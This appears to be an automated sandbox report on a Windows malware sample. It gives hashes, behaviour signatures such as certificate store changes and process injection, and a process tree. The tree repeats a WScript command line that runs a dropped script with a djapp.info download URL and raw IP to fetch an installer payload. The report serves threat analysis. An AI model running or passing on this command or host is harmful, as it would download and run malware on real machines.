Analysis

  • max time kernel
    138s
  • max time network
    142s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    24-11-2022 04:02

General

  • Target

    abec408981040cde903a16402592414283a4f1c20ccc08c3d994220ac1b3fc87.exe

  • Size

    184KB

  • MD5

    4e1fd28fed3fde03c9c451c3800b22c2

  • SHA1

    25236ec5dde27fe08041d33a868f088c0ca88088

  • SHA256

    abec408981040cde903a16402592414283a4f1c20ccc08c3d994220ac1b3fc87

  • SHA512

    ba33f7281b0c8132533de8a1ae3f95e3d37330eb228927d5dd2f3ae3532c04a85f2ec64470d3a48020def1e72b18b27fc1c29ba0fafb21ab02b9e5acb1b09792

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Vc:/7BSH8zUB+nGESaaRvoB7FJNndnMc

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 15 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\abec408981040cde903a16402592414283a4f1c20ccc08c3d994220ac1b3fc87.exe
    "C:\Users\Admin\AppData\Local\Temp\abec408981040cde903a16402592414283a4f1c20ccc08c3d994220ac1b3fc87.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1144
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf82A8.js" http://www.djapp.info/?domain=ATkJfxClJt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf82A8.exe
      2⤵
      • Blocklisted process makes network request
      PID:764
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf82A8.js" http://www.djapp.info/?domain=ATkJfxClJt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf82A8.exe
      2⤵
      • Blocklisted process makes network request
      • Modifies system certificate store
      PID:108
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf82A8.js" http://www.djapp.info/?domain=ATkJfxClJt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf82A8.exe
      2⤵
      • Blocklisted process makes network request
      PID:1084
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf82A8.js" http://www.djapp.info/?domain=ATkJfxClJt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf82A8.exe
      2⤵
      • Blocklisted process makes network request
      PID:1416
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf82A8.js" http://www.djapp.info/?domain=ATkJfxClJt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf82A8.exe
      2⤵
      • Blocklisted process makes network request
      PID:1056
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1144 -s 548
      2⤵
      • Program crash
      PID:1488

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf82A8.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\CD3PK2PA.txt

    Filesize

    100B

    MD5

    44060714e30459a8ead9efcf75f1f50b

    SHA1

    e7deac3624398f4fe9e7de2b6ef99c8ff667c322

    SHA256

    1133cae9d465484817eb7c7bb43c30e91218e21c95acde74b3457194c7508c11

    SHA512

    6111f94ef4889078a468f7f64154652c10a50a9431800579d35a0f37e807355740a472ad0b5de9868b06229a0729c62aaa1ec40b8db8fde2d612e36c3167bf30

  • memory/1144-54-0x0000000075F01000-0x0000000075F03000-memory.dmp

    Filesize

    8KB